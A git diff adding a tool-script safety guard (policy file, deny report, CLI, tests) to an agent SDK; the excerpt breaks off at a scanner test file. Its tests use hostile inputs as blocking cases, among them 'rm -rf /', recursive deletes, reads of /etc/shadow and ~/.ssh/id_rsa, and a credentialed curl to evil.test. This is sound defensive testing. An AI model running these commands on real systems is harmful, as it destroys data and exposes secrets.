+{"timestamp":"2026-01-01T00:00:00+00:00","tool_name":"tool_safety_cli","decision":"deny","risk_level":"critical","rule_ids":["FILE001"],"duration_ms":0.5,"redacted":false,"execution_blocked":true} diff --git a/examples/tool_safety_guard/tool_safety_policy.yaml b/examples/tool_safety_guard/tool_safety_policy.yaml new file mode 100644 index 000000000..c46d359bd --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_policy.yaml @@ -0,0 +1,19 @@ +version: 1 +allowed_domains: + - api.example.com +allowed_commands: + - bash + - cat + - curl + - echo + - pytest + - python +forbidden_paths: + - ~/.ssh + - .env + - /etc/shadow +max_timeout_seconds: 300 +max_output_bytes: 1048576 +long_sleep_seconds: 60 +large_write_bytes: 10485760 +max_concurrency: 32 diff --git a/examples/tool_safety_guard/tool_safety_report.json b/examples/tool_safety_guard/tool_safety_report.json new file mode 100644 index 000000000..ede546e66 --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_report.json @@ -0,0 +1,20 @@ +{ + "decision": "deny", + "risk_level": "critical", + "findings": [ + { + "category": "file", + "risk_level": "critical", + "rule_id": "FILE001", + "evidence": "rm -rf ", + "recommendation": "Remove recursive deletion or constrain it to an approved workspace.", + "decision": "deny" + } + ], + "duration_ms": 0.5, + "redacted": false, + "summary": "deny: 1 safety finding(s).", + "applicable": true, + "effective_timeout_seconds": 300.0, + "max_output_bytes": 1048576 +} diff --git a/scripts/tool_safety_check.py b/scripts/tool_safety_check.py new file mode 100644 index 000000000..6cbc6f2bb --- /dev/null +++ b/scripts/tool_safety_check.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python +"""Thin launcher for the Tool Script Safety Guard CLI.""" + +from trpc_agent_sdk.tools.safety._cli import main + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py new file mode 100644 index 000000000..bfc086657 --- /dev/null +++ b/tests/tools/safety/test_adapters.py @@ -0,0 +1,139 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Safety input adapter tests.""" + +from pathlib import Path +from types import SimpleNamespace + +from trpc_agent_sdk.code_executors import CodeBlock +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.tools.safety import adapt_code_execution_input +from trpc_agent_sdk.tools.safety import adapt_tool_request +from trpc_agent_sdk.tools.safety import ScriptLanguage +from trpc_agent_sdk.tools.safety import ToolMetadata +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + + +def _policy(): + return ToolSafetyPolicy(allowed_commands=["echo"], max_timeout_seconds=30) + + +def test_adapt_bash_tool_clamps_timeout_and_hides_env_values(): + tool = SimpleNamespace(name="workspace_exec", description="exec") + + request = adapt_tool_request( + tool, + { + "command": "echo ok", + "timeout_sec": 90, + "env": { + "TOKEN": "must-not-leak" + }, + }, + _policy(), + ) + + assert request.requested_timeout_seconds == 90 + assert request.effective_timeout_seconds == 30 + assert request.env_keys == ["TOKEN"] + assert "must-not-leak" not in request.model_dump_json() + + +def test_adapt_unknown_tool_is_not_applicable(): + tool = SimpleNamespace(name="calculator", description="") + + request = adapt_tool_request(tool, {"value": 1}, _policy()) + + assert request.applicable is False + assert request.payloads == [] + + +def test_adapt_code_execution_input_scans_every_block(): + value = CodeExecutionInput( + code="print('root')", + code_blocks=[ + CodeBlock(language="python", code="print('one')"), + CodeBlock(language="bash", code="echo two"), + ], + ) + + request = adapt_code_execution_input(value, ToolMetadata(name="executor"), _policy()) + + assert len(request.payloads) == 3 + assert request.payloads[-1].language == ScriptLanguage.BASH + + +def test_adapt_background_and_tty_execution(): + tool = SimpleNamespace(name="workspace_exec", description="exec") + request = adapt_tool_request( + tool, + { + "command": "echo ok", + "background": True, + "tty": True, + }, + _policy(), + ) + assert request.background is True + assert request.tty is True + + +def test_adapt_generic_mcp_command(): + tool = SimpleNamespace(name="execute_command", description="MCP shell") + request = adapt_tool_request( + tool, + { + "command": "echo ok", + "argv": ["value"], + "timeout": 3, + }, + _policy(), + ) + assert request.applicable is True + assert request.payloads[0].argv == ["value"] + assert request.timeout_arg_name == "timeout" + + +def test_adapt_skill_run_command(): + tool = SimpleNamespace(name="skill_run", description="Skill shell") + request = adapt_tool_request( + tool, + { + "command": "echo ok", + "cwd": "skills/safety-demo", + "timeout": 3, + }, + _policy(), + ) + assert request.applicable is True + assert request.payloads[0].language == ScriptLanguage.BASH + assert request.timeout_arg_name == "timeout" + + +def test_unknown_tool_with_code_field_is_not_inferred_as_executor(): + tool = SimpleNamespace(name="code_formatter", description="formats text") + request = adapt_tool_request(tool, {"code": "open('/etc/shadow').read()"}, _policy()) + assert request.applicable is False + assert request.payloads == [] + + +def test_local_bash_resolves_relative_cwd(): + tool = SimpleNamespace(name="Bash", description="shell", cwd=".") + request = adapt_tool_request(tool, {"command": "echo ok"}, _policy()) + assert Path(request.cwd).is_absolute() + + +def test_local_bash_resolves_argument_cwd_from_tool_cwd(tmp_path): + tool = SimpleNamespace(name="Bash", description="shell", cwd=str(tmp_path)) + request = adapt_tool_request( + tool, + { + "command": "echo ok", + "cwd": "child", + }, + _policy(), + ) + assert request.cwd == str((tmp_path / "child").resolve()) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py new file mode 100644 index 000000000..c108e7c60 --- /dev/null +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -0,0 +1,175 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Audit and telemetry tests.""" + +import json +import os +import stat +from unittest.mock import MagicMock +from unittest.mock import patch + +import pytest + +from trpc_agent_sdk.tools.safety import CompositeAuditSink +from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import RiskCategory +from trpc_agent_sdk.tools.safety import RiskLevel +from trpc_agent_sdk.tools.safety import SafetyAuditError +from trpc_agent_sdk.tools.safety import SafetyAuditDegradedError +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import SafetyFinding +from trpc_agent_sdk.tools.safety import SafetyReport +from trpc_agent_sdk.tools.safety._audit import create_audit_event +from trpc_agent_sdk.tools.safety._audit import emit_report +from trpc_agent_sdk.tools.safety._audit import set_safety_span_attributes + + +def _report(): + return SafetyReport( + decision=SafetyDecision.DENY, + risk_level=RiskLevel.HIGH, + duration_ms=1.5, + redacted=True, + summary="blocked", + max_output_bytes=100, + ) + + +class _FailingSink: + + def emit(self, event): + del event + raise OSError("secret failure detail") + + +class _MemorySink: + + def __init__(self): + self.events = [] + + def emit(self, event): + self.events.append(event) + + +def test_jsonl_audit_has_required_fields(tmp_path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + event = create_audit_event(_report(), "Bash", True) + + sink.emit(event) + + data = json.loads(path.read_text(encoding="utf-8")) + assert data["tool_name"] == "Bash" + assert data["execution_blocked"] is True + assert data["redacted"] is True + + +@pytest.mark.skipif(os.name != "posix", reason="POSIX permission contract") +def test_jsonl_audit_secures_existing_file(tmp_path): + path = tmp_path / "audit.jsonl" + path.write_text("", encoding="utf-8") + path.chmod(0o644) + + JsonlAuditSink(path).emit(create_audit_event(_report(), "Bash", True)) + + assert stat.S_IMODE(path.stat().st_mode) == 0o600 + + +@pytest.mark.skipif(os.name != "posix", reason="POSIX symlink contract") +def test_jsonl_audit_rejects_symlink(tmp_path): + target = tmp_path / "target.txt" + target.write_text("unchanged", encoding="utf-8") + audit = tmp_path / "audit.jsonl" + audit.symlink_to(target) + + with pytest.raises(SafetyAuditError): + JsonlAuditSink(audit).emit(create_audit_event(_report(), "Bash", True)) + + assert target.read_text(encoding="utf-8") == "unchanged" + + +def test_composite_uses_fallback(): + fallback = _MemorySink() + sink = CompositeAuditSink(_FailingSink(), fallback) + event = create_audit_event(_report(), "Bash", True) + + with pytest.raises(SafetyAuditDegradedError): + sink.emit(event) + + assert fallback.events[0].execution_blocked is True + assert fallback.events[0].decision == SafetyDecision.DENY + + +def test_composite_fails_closed_when_both_sinks_fail(): + sink = CompositeAuditSink(_FailingSink(), _FailingSink()) + with pytest.raises(SafetyAuditError, match="all tool safety audit sinks failed"): + sink.emit(create_audit_event(_report(), "Bash", True)) + + +def test_telemetry_sets_required_attributes(): + span = MagicMock() + with patch("trpc_agent_sdk.tools.safety._audit.trace.get_current_span", return_value=span): + set_safety_span_attributes(_report()) + + attributes = {call.args[0]: call.args[1] for call in span.set_attribute.call_args_list} + assert attributes["tool.safety.decision"] == "deny" + assert attributes["tool.safety.risk_level"] == "high" + assert attributes["tool.safety.execution_blocked"] is True + + +def test_telemetry_failure_does_not_raise(): + span = MagicMock() + span.set_attribute.side_effect = RuntimeError("telemetry unavailable") + with patch("trpc_agent_sdk.tools.safety._audit.trace.get_current_span", return_value=span): + set_safety_span_attributes(_report()) + + +def test_audit_boundary_redacts_tool_name(): + event = create_audit_event( + _report(), + "tool password='top secret phrase'", + True, + ) + assert "top secret phrase" not in event.model_dump_json() + assert event.redacted is True + + +def test_audit_boundary_discards_secret_exception_chain(): + + class _SecretFailingSink: + + def emit(self, event): + del event + raise RuntimeError("password='top secret phrase'") + + with pytest.raises(SafetyAuditError) as captured: + emit_report(_SecretFailingSink(), _report(), "Bash") + assert captured.value.__cause__ is None + assert "top secret phrase" not in str(captured.value) + + +def test_telemetry_marks_sanitized_rule_id_as_redacted(): + report = _report().model_copy( + update={ + "redacted": + False, + "findings": [ + SafetyFinding( + category=RiskCategory.POLICY, + risk_level=RiskLevel.HIGH, + rule_id="password='top secret phrase'", + evidence="blocked", + recommendation="remove secret", + decision=SafetyDecision.DENY, + ) + ], + }) + span = MagicMock() + with patch("trpc_agent_sdk.tools.safety._audit.trace.get_current_span", return_value=span): + set_safety_span_attributes(report) + attributes = {call.args[0]: call.args[1] for call in span.set_attribute.call_args_list} + assert attributes["tool.safety.redacted"] is True + assert "top secret phrase" not in attributes["tool.safety.rule_id"] diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py new file mode 100644 index 000000000..be31ab8b4 --- /dev/null +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -0,0 +1,119 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Public sample corpus and CLI acceptance tests.""" + +from pathlib import Path + +import yaml + +from trpc_agent_sdk.tools.safety import adapt_cli_request +from trpc_agent_sdk.tools.safety import ScriptLanguage +from trpc_agent_sdk.tools.safety import ScriptPayload +from trpc_agent_sdk.tools.safety import ToolMetadata +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard +from trpc_agent_sdk.tools.safety._cli import main + +EXAMPLE_DIR = Path("examples/tool_safety_guard") + + +def _results(): + manifest = yaml.safe_load((EXAMPLE_DIR / "manifest.yaml").read_text(encoding="utf-8")) + guard = ToolScriptSafetyGuard.from_policy(str(EXAMPLE_DIR / "tool_safety_policy.yaml")) + results = {} + for item in manifest["samples"]: + path = EXAMPLE_DIR / item["file"] + payload = ScriptPayload( + language=ScriptLanguage(item["language"]), + content=path.read_text(encoding="utf-8"), + source=str(path), + ) + request = adapt_cli_request(payload, ToolMetadata(name="acceptance"), guard.policy, str(EXAMPLE_DIR)) + results[item["file"]] = (item, guard.scan(request)) + return results + + +def test_public_sample_decisions_and_rates(): + results = _results() + assert len(results) == 12 + for item, report in results.values(): + assert report.decision.value == item["expected"] + + safe = [report for item, report in results.values() if item.get("safe")] + dangerous = [report for item, report in results.values() if not item.get("safe")] + false_positive_rate = sum(report.decision.value != "allow" for report in safe) / len(safe) + detection_rate = sum(report.decision.value != "allow" for report in dangerous) / len(dangerous) + assert false_positive_rate <= 0.10 + assert detection_rate >= 0.90 + + +def test_mandatory_categories_have_full_detection(): + results = _results() + mandatory = [ + "samples/danger_delete.py", + "samples/danger_ssh.py", + "samples/danger_network.py", + ] + assert all(results[name][1].decision.value == "deny" for name in mandatory) + + +def test_cli_writes_report_and_audit(tmp_path, capsys): + report = tmp_path / "report.json" + audit = tmp_path / "audit.jsonl" + exit_code = main([ + "--file", + str(EXAMPLE_DIR / "samples/danger_delete.py"), + "--language", + "python", + "--policy", + str(EXAMPLE_DIR / "tool_safety_policy.yaml"), + "--report", + str(report), + "--audit", + str(audit), + ]) + assert exit_code == 3 + assert '"decision": "deny"' in report.read_text(encoding="utf-8") + assert '"execution_blocked":true' in audit.read_text(encoding="utf-8") + assert '"decision": "deny"' in capsys.readouterr().out + + +def test_cli_scans_argv_and_accepts_metadata(tmp_path): + report = tmp_path / "report.json" + exit_code = main([ + "--command", + "echo ok", + "--language", + "bash", + "--policy", + str(EXAMPLE_DIR / "tool_safety_policy.yaml"), + "--report", + str(report), + "--argv", + "~/.ssh/id_rsa", + "--env-key", + "TOKEN", + "--tool-description", + "MCP command", + "--tag", + "mcp", + ]) + assert exit_code == 3 + + +def test_cli_error_redacts_secret_path(tmp_path, capsys): + missing = tmp_path / "password='top secret phrase'" / "missing.py" + exit_code = main([ + "--file", + str(missing), + "--language", + "python", + "--policy", + str(EXAMPLE_DIR / "tool_safety_policy.yaml"), + ]) + output = capsys.readouterr().out + assert exit_code == 1 + assert "top secret phrase" not in output + assert "[REDACTED_SECRET]" in output diff --git a/tests/tools/safety/test_code_executor.py b/tests/tools/safety/test_code_executor.py new file mode 100644 index 000000000..f588bb12a --- /dev/null +++ b/tests/tools/safety/test_code_executor.py @@ -0,0 +1,110 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""SafetyGuardedCodeExecutor tests.""" + +import asyncio +from unittest.mock import MagicMock + +import pytest + +from trpc_agent_sdk.code_executors import BaseCodeExecutor +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import create_code_execution_result +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyViolation +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + + +class _MemorySink: + + def __init__(self): + self.events = [] + + def emit(self, event): + self.events.append(event) + + +class _Executor(BaseCodeExecutor): + calls: int = 0 + delay: float = 0 + output: str = "ok" + + async def execute_code(self, invocation_context, code_execution_input): + del invocation_context, code_execution_input + self.calls += 1 + if self.delay: + await asyncio.sleep(self.delay) + return create_code_execution_result(stdout=self.output) + + +def _wrapper(delegate, timeout=10, output_bytes=100): + policy = ToolSafetyPolicy( + max_timeout_seconds=timeout, + max_output_bytes=output_bytes, + allowed_commands=["echo"], + ) + return SafetyGuardedCodeExecutor( + delegate=delegate, + guard=ToolScriptSafetyGuard(policy), + audit_sink=_MemorySink(), + ) + + +@pytest.mark.asyncio +async def test_safe_code_delegates(): + delegate = _Executor() + wrapper = _wrapper(delegate) + + result = await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + + assert delegate.calls == 1 + assert "ok" in result.output + + +@pytest.mark.asyncio +async def test_dangerous_code_is_blocked(): + delegate = _Executor() + wrapper = _wrapper(delegate) + + with pytest.raises(ToolSafetyViolation) as error: + await wrapper.execute_code( + MagicMock(), + CodeExecutionInput(code="import shutil; shutil.rmtree('/tmp/data')"), + ) + + assert delegate.calls == 0 + assert error.value.report.decision.value == "deny" + + +@pytest.mark.asyncio +async def test_wrapper_enforces_timeout(): + wrapper = _wrapper(_Executor(delay=1.1), timeout=1) + + result = await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + + assert "timed out" in result.output + + +@pytest.mark.asyncio +async def test_timeout_result_also_obeys_output_limit(): + wrapper = _wrapper(_Executor(delay=1.1), timeout=1, output_bytes=20) + result = await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + assert len(result.output.encode("utf-8")) <= 20 + + +@pytest.mark.asyncio +async def test_wrapper_limits_output(): + wrapper = _wrapper(_Executor(output="x" * 100), output_bytes=20) + + result = await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + + assert len(result.output.encode("utf-8")) <= 20 + + +def test_wrapper_mirrors_execute_once_capability(): + delegate = _Executor(execute_once_per_invocation=True) + assert _wrapper(delegate).execute_once_per_invocation is True diff --git a/tests/tools/safety/test_concurrency.py b/tests/tools/safety/test_concurrency.py new file mode 100644 index 000000000..2fc339cd1 --- /dev/null +++ b/tests/tools/safety/test_concurrency.py @@ -0,0 +1,117 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Single-process concurrency safety tests.""" + +from concurrent.futures import ThreadPoolExecutor +import json +import threading +import time + +from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import RiskLevel +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import SafetyReport +from trpc_agent_sdk.tools.safety._audit import create_audit_event +from trpc_agent_sdk.tools.safety._audit import emit_report + +EVENT_COUNT = 50 +WORKER_COUNT = 8 + + +def _event(index): + report = SafetyReport( + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.NONE, + duration_ms=float(index), + redacted=False, + summary="safe", + max_output_bytes=100, + ) + return create_audit_event(report, f"tool-{index}", False) + + +def test_concurrent_jsonl_writes_do_not_interleave(tmp_path): + path = tmp_path / "audit.jsonl" + sink = JsonlAuditSink(path) + + with ThreadPoolExecutor(max_workers=WORKER_COUNT) as pool: + list(pool.map(lambda index: sink.emit(_event(index)), range(EVENT_COUNT))) + + lines = path.read_text(encoding="utf-8").splitlines() + parsed = [json.loads(line) for line in lines] + assert len(parsed) == EVENT_COUNT + assert {item["tool_name"] for item in parsed} == {f"tool-{index}" for index in range(EVENT_COUNT)} + + +def test_multiple_sinks_for_same_path_share_lock(tmp_path): + path = tmp_path / "audit.jsonl" + sinks = [JsonlAuditSink(path), JsonlAuditSink(path)] + + def emit(index): + sinks[index % len(sinks)].emit(_event(index)) + + with ThreadPoolExecutor(max_workers=WORKER_COUNT) as pool: + list(pool.map(emit, range(EVENT_COUNT))) + + lines = path.read_text(encoding="utf-8").splitlines() + assert len([json.loads(line) for line in lines]) == EVENT_COUNT + + +def test_emit_report_serializes_custom_sink_calls(): + + class OverlapDetectingSink: + + def __init__(self): + self.active = 0 + self.overlapped = False + self.lock = threading.Lock() + + def emit(self, event): + del event + with self.lock: + self.active += 1 + self.overlapped = self.overlapped or self.active > 1 + time.sleep(0.001) + with self.lock: + self.active -= 1 + + sink = OverlapDetectingSink() + report = SafetyReport( + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.NONE, + duration_ms=1, + redacted=False, + summary="safe", + max_output_bytes=100, + ) + with ThreadPoolExecutor(max_workers=WORKER_COUNT) as pool: + list(pool.map(lambda _: emit_report(sink, report, "tool"), range(EVENT_COUNT))) + assert sink.overlapped is False + + +def test_independent_audit_sinks_do_not_share_one_lock(): + + class BarrierSink: + + def __init__(self, barrier): + self.barrier = barrier + + def emit(self, event): + del event + self.barrier.wait(timeout=1) + + report = SafetyReport( + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.NONE, + duration_ms=1, + redacted=False, + summary="safe", + max_output_bytes=100, + ) + barrier = threading.Barrier(2) + sinks = [BarrierSink(barrier), BarrierSink(barrier)] + with ThreadPoolExecutor(max_workers=2) as pool: + list(pool.map(lambda sink: emit_report(sink, report, "tool"), sinks)) diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py new file mode 100644 index 000000000..04b3bcdb3 --- /dev/null +++ b/tests/tools/safety/test_filter.py @@ -0,0 +1,205 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""ToolSafetyFilter tests.""" + +from types import SimpleNamespace + +import pytest + +from trpc_agent_sdk.filter import run_filters +from trpc_agent_sdk.filter import BaseFilter +from trpc_agent_sdk.filter import FilterRunner +from trpc_agent_sdk.tools.safety import CompositeAuditSink +from trpc_agent_sdk.tools import reset_tool_var +from trpc_agent_sdk.tools import set_tool_var +from trpc_agent_sdk.tools.safety import SafetyAuditError +from trpc_agent_sdk.tools.safety import ToolSafetyFilter +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + + +class _MemorySink: + + def __init__(self): + self.events = [] + + def emit(self, event): + self.events.append(event) + + +class _FailingSink: + + def emit(self, event): + del event + raise SafetyAuditError("audit unavailable") + + +class _ExpandingAfterFilter(BaseFilter): + + async def _after(self, ctx, req, rsp): + del ctx, req + rsp.rsp = {"stdout": "x" * 100} + + +class _Runner(FilterRunner): + pass + + +def _filter(sink, max_output=100): + policy = ToolSafetyPolicy( + allowed_commands=["echo"], + max_timeout_seconds=10, + max_output_bytes=max_output, + ) + return ToolSafetyFilter(ToolScriptSafetyGuard(policy), sink) + + +async def _run_filter(safety_filter, args, handler): + tool = SimpleNamespace(name="Bash", description="shell") + token = set_tool_var(tool) + try: + return await run_filters(SimpleNamespace(), args, [safety_filter], handler) + finally: + reset_tool_var(token) + + +@pytest.mark.asyncio +async def test_allow_invokes_handler_and_injects_timeout(): + sink = _MemorySink() + args = {"command": "echo ok", "timeout": 0} + called = False + + async def handler(): + nonlocal called + called = True + return {"stdout": "ok"} + + result = await _run_filter(_filter(sink), args, handler) + + assert called is True + assert result["stdout"] == "ok" + assert args["timeout"] == 10 + assert sink.events[0].execution_blocked is False + + +@pytest.mark.asyncio +async def test_deny_stops_handler_and_returns_report(): + sink = _MemorySink() + called = False + + async def handler(): + nonlocal called + called = True + + result = await _run_filter(_filter(sink), {"command": "rm -rf /"}, handler) + + assert called is False + assert result["decision"] == "deny" + assert sink.events[0].execution_blocked is True + + +@pytest.mark.asyncio +async def test_review_stops_handler(): + + async def handler(): + raise AssertionError("handler must not run") + + result = await _run_filter(_filter(_MemorySink()), {"command": "uname -a"}, handler) + assert result["decision"] == "needs_human_review" + + +@pytest.mark.asyncio +async def test_audit_failure_stops_handler(): + + async def handler(): + raise AssertionError("handler must not run") + + result = await _run_filter(_filter(_FailingSink()), {"command": "echo ok"}, handler) + assert result == { + "error": "TOOL_SAFETY_AUDIT_FAILED", + "decision": "deny", + "execution_blocked": True, + } + + +@pytest.mark.asyncio +async def test_primary_audit_degradation_stops_handler(): + fallback = _MemorySink() + sink = CompositeAuditSink(_FailingSink(), fallback) + + async def handler(): + raise AssertionError("handler must not run") + + result = await _run_filter(_filter(sink), {"command": "echo ok"}, handler) + assert result["error"] == "TOOL_SAFETY_AUDIT_FAILED" + assert fallback.events[0].execution_blocked is True + + +@pytest.mark.asyncio +async def test_stream_audit_failure_returns_structured_error(): + runner = _Runner(filters=[_filter(_FailingSink())]) + token = set_tool_var(SimpleNamespace(name="Bash", description="shell")) + + async def handler(): + raise AssertionError("handler must not run") + yield + + try: + events = [ + event async for event in runner._run_stream_filters( + SimpleNamespace(), + {"command": "echo ok"}, + handler, + ) + ] + finally: + reset_tool_var(token) + assert events == [{ + "error": "TOOL_SAFETY_AUDIT_FAILED", + "decision": "deny", + "execution_blocked": True, + }] + + +@pytest.mark.asyncio +async def test_scan_error_returns_sanitized_blocking_report(): + sink = _MemorySink() + + async def handler(): + raise AssertionError("handler must not run") + + result = await _run_filter(_filter(sink), ["password='top secret phrase'"], handler) + assert result["decision"] == "needs_human_review" + assert "top secret phrase" not in str(result) + + +@pytest.mark.asyncio +async def test_after_limits_output(): + + async def handler(): + return {"stdout": "x" * 20, "stderr": "y" * 20} + + result = await _run_filter(_filter(_MemorySink(), max_output=10), {"command": "echo ok"}, handler) + assert result["truncated"] is True + assert len((result["stdout"] + result["stderr"]).encode()) <= 10 + + +@pytest.mark.asyncio +async def test_final_limit_runs_after_outer_filter(): + runner = _Runner(filters=[_filter(_MemorySink(), max_output=10), _ExpandingAfterFilter()]) + tool = SimpleNamespace(name="Bash", description="shell") + token = set_tool_var(tool) + + async def handler(): + return {"stdout": "ok"} + + try: + result = await runner._run_filters(SimpleNamespace(), {"command": "echo ok"}, handler) + finally: + reset_tool_var(token) + assert result["truncated"] is True + assert len(result["stdout"].encode()) <= 10 + diff --git a/tests/tools/safety/test_models_and_policy.py b/tests/tools/safety/test_models_and_policy.py new file mode 100644 index 000000000..b91842cd7 --- /dev/null +++ b/tests/tools/safety/test_models_and_policy.py @@ -0,0 +1,111 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Policy and sanitizer tests.""" + +import pytest + +from trpc_agent_sdk.tools.safety import SafetySanitizer +from trpc_agent_sdk.tools.safety import ToolSafetyPolicy + + +def test_policy_loads_yaml(tmp_path): + path = tmp_path / "policy.yaml" + path.write_text( + "version: 1\n" + "allowed_domains: [api.example.com]\n" + "allowed_commands: [python]\n" + "forbidden_paths: [.env]\n" + "max_timeout_seconds: 20\n" + "max_output_bytes: 1000\n" + "long_sleep_seconds: 5\n" + "large_write_bytes: 2000\n" + "max_concurrency: 4\n", + encoding="utf-8", + ) + + policy = ToolSafetyPolicy.from_yaml(path) + + assert policy.allowed_domains == ["api.example.com"] + assert policy.max_timeout_seconds == 20 + + +@pytest.mark.parametrize("value", [0, -1]) +def test_policy_rejects_non_positive_limits(value): + with pytest.raises(ValueError, match="greater than zero"): + ToolSafetyPolicy(max_timeout_seconds=value) + + +def test_policy_rejects_unknown_version(): + with pytest.raises(ValueError, match="unsupported policy version"): + ToolSafetyPolicy(version=2) + + +def test_policy_rejects_extra_keys(): + with pytest.raises(ValueError): + ToolSafetyPolicy.model_validate({"version": 1, "unknown": True}) + + +def test_sanitizer_redacts_before_truncation(): + sanitizer = SafetySanitizer(evidence_chars=80) + raw = "password=super-secret-value " + "x" * 200 + + safe, redacted = sanitizer.sanitize(raw) + + assert redacted is True + assert "super-secret-value" not in safe + assert len(safe) <= 83 + + +def test_sanitizer_redacts_private_key_and_bearer(): + sanitizer = SafetySanitizer() + raw = ("-----BEGIN PRIVATE KEY-----\nabc\n-----END PRIVATE KEY----- " + "Authorization: Bearer secret-token-value") + + safe, redacted = sanitizer.sanitize(raw) + + assert redacted is True + assert "abc" not in safe + assert "secret-token-value" not in safe + + +@pytest.mark.parametrize( + "raw, secret", + [ + ("echo password='top secret phrase'", "top secret phrase"), + ('echo token="multi word token"', "multi word token"), + ("curl https://user:password-value@evil.test", "password-value"), + ], +) +def test_sanitizer_redacts_complete_secret_values(raw, secret): + safe, redacted = SafetySanitizer().sanitize(raw) + assert redacted is True + assert secret not in safe + + +def test_policy_file_validation_error_does_not_echo_input(tmp_path): + path = tmp_path / "policy.yaml" + path.write_text( + "version: 1\nmax_timeout_seconds: very-secret-invalid-value\n", + encoding="utf-8", + ) + + with pytest.raises(ValueError) as error: + ToolSafetyPolicy.from_yaml(path) + + assert "very-secret-invalid-value" not in str(error.value) + + +def test_policy_rejects_duplicate_fields(tmp_path): + path = tmp_path / "policy.yaml" + path.write_text( + "version: 1\n" + "allowed_commands: [rm]\n" + "allowed_commands: []\n", + encoding="utf-8", + ) + + with pytest.raises(ValueError, match="unable to load tool safety policy"): + ToolSafetyPolicy.from_yaml(path) diff --git a/tests/tools/safety/test_quality_constraints.py b/tests/tools/safety/test_quality_constraints.py new file mode 100644 index 000000000..12c478df6 --- /dev/null +++ b/tests/tools/safety/test_quality_constraints.py @@ -0,0 +1,56 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Executable quality constraints for the safety package.""" + +import ast +from pathlib import Path + +MAX_FILE_LINES = 1000 +MAX_FUNCTION_LINES = 80 +MAX_FUNCTION_STATEMENTS = 60 +MAX_FUNCTION_PARAMETERS = 4 +SAFETY_PACKAGE = Path("trpc_agent_sdk/tools/safety") + + +def _functions(tree): + return [node for node in ast.walk(tree) if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef))] + + +def _parameter_count(node): + args = node.args + counts = ( + len(args.posonlyargs), + len(args.args), + len(args.kwonlyargs), + int(args.vararg is not None), + int(args.kwarg is not None), + ) + return sum(counts) + + +def _statement_count(node): + return sum(isinstance(child, ast.stmt) for child in ast.walk(node)) - 1 + + +def test_source_size_and_function_limits(): + failures = [] + for path in SAFETY_PACKAGE.glob("*.py"): + source = path.read_text(encoding="utf-8") + lines = source.splitlines() + if len(lines) > MAX_FILE_LINES: + failures.append(f"{path}: file has {len(lines)} lines") + tree = ast.parse(source) + for function in _functions(tree): + span = function.end_lineno - function.lineno + 1 + statements = _statement_count(function) + parameters = _parameter_count(function) + if span > MAX_FUNCTION_LINES: + failures.append(f"{path}:{function.lineno} {function.name}: {span} lines") + if statements > MAX_FUNCTION_STATEMENTS: + failures.append(f"{path}:{function.lineno} {function.name}: {statements} statements") + if parameters > MAX_FUNCTION_PARAMETERS: + failures.append(f"{path}:{function.lineno} {function.name}: {parameters} parameters") + assert not failures, "\n".join(failures) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py new file mode 100644 index 000000000..093c06654 --- /dev/null +++ b/tests/tools/safety/test_scanner.py @@ -0,0 +1,512 @@ +# Tencent is 